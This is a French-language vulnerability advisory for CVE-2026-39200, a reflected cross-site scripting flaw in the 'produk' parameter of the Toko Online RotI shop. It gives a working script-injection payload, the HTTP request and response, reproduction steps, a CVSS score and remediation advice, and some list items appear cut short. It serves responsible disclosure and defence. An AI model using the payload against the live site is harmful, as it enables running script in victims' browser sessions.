La valeur du paramètre de requête produk est copiée dans la valeur d'un attribut de balise HTML encapsulé entre guillemets doubles. Le payload xbnw0"><script>alert(1)</script>skc2h a été soumis dans le paramètre produk. Cette entrée a été reflétée sous la forme xbnw0\"><script>alert(1)</script>skc2h dans la réponse de l'application.
Une vulnérabilité de Cross-Site Scripting (XSS) réfléchi a été identifiée dans le paramètre de requête produk de l'application web Toko Online RotI. L'application ne code pas en HTML les entrées fournies par l'utilisateur avant de les refléter à l'intérieur d'un attribut de balise HTML entouré de guillemets doubles. Un attaquant peut concevoir une URL malveillante qui, lorsqu'elle est consultée par une victime, exécute du JavaScript arbitraire dans le contexte de la session navigateur de la victime.
| Champ | Valeur |
|---|
| Identifiant CVE | CVE-2026-39200 |
| Type de vulnérabilité | CWE-79 — Neutralisation incorrecte des entrées lors de la génération de pages web (XSS réfléchi) |
| Produit concerné | Toko Online RotI (boutique en ligne indonésienne) |
| Paramètre concerné | produk |
| Découvreur | Uzair Ali (r00tali) — Testeur d'intrusion / Chasseur de bugs |
| Date de découverte | 2026-07-03 |
| CVE attribué | 2026-07-12 |
| Publication de l'avis | 2026-07-19 |
Le paramètre de requête produk est copié tel quel dans la valeur d'un attribut de balise HTML encadré par des guillemets doubles. L'application n'encodant pas en HTML l'entrée fournie par l'utilisateur avant de la refléter, un attaquant peut sortir de l'attribut en soumettant une charge utile contenant un guillemet double fermant suivi d'une charge utile HTML/JavaScript.
xbnw0"><script>alert(1)</script>skc2h
Lorsque cette charge utile est soumise comme paramètre produk, l'application renvoie l'entrée dans la réponse sans échappement. Le "> final termine l'attribut d'origine et le bloc injecté <script>alert(1)</script> est interprété par le navigateur comme un nouvel élément HTML, exécutant du JavaScript arbitraire dans la session de l'utilisateur.
La réponse HTML vulnérable ressemble à ceci :
<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />
<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
Browser executes this
GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk à l'intérieur d'un attribut HTML (par exemple, une page de recherche, de détail ou de filtre de produit).produk par la charge utile suivante :
xbnw0"><script>alert(1)</script>skc2h
" et produisant un élément <script> valide dans le DOM.alert(1) s'affiche, confirmant l'exécution de JavaScript arbitraire dans la session de la victime.L'exploitation réussie de ce XSS réfléchi permet à un attaquant de :
La vulnérabilité étant réfléchie, son exploitation ne requiert qu'un clic de la victime sur un lien frauduleux, ce qui la rend facilement exploitable dans le cadre de campagnes d'hameçonnage.
CVSS v3.1 (estimation) : 6.1 (Moyen) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Pour remédier à cette vulnérabilité, le fournisseur devrait :
<, >, ", ' et & (par exemple, <, >, ", ', &).htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) ou la syntaxe <%: %>{{ input }} (échappement automatique par défaut)Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly et Secure sur tous les cookies de session afin d'empêcher JavaScript de les lire.produk par rapport à une liste blanche d'identifiants de produits attendus (identifiants numériques, slugs, etc.) et rejeter tout ce qui ne correspond pas.X-Content-Type-Options: nosniff pour empêcher la détection du type MIME des corps de réponse.| Date | Événement |
|---|---|
| 2026-07-03 | Vulnérabilité découverte lors de tests de sécurité autorisés |
| 2026-07-03 | Identifiant CVE demandé à MITRE via cveform.mitre.org |
| 2026-07-12 | CVE-2026-39200 attribué par l'équipe d'attribution de MITRE |
| 2026-07-19 | Publication de l'avis public |
** Uzair Ali (r00tali)** — Testeur d'intrusion / Chasseur de bugs / Chercheur en sécurité
Cet avis est publié à des fins éducatives et défensives uniquement. La vulnérabilité a été signalée dans le cadre du processus de divulgation responsable, via l'équipe d'attribution des CVE de MITRE. Aucune information confidentielle du fournisseur, aucune donnée client ni aucun code propriétaire ne sont divulgués. La preuve de concept utilise une charge utile bénigne alert(1) et vise à démontrer l'existence du bug, et non à faciliter des attaques contre le service en production.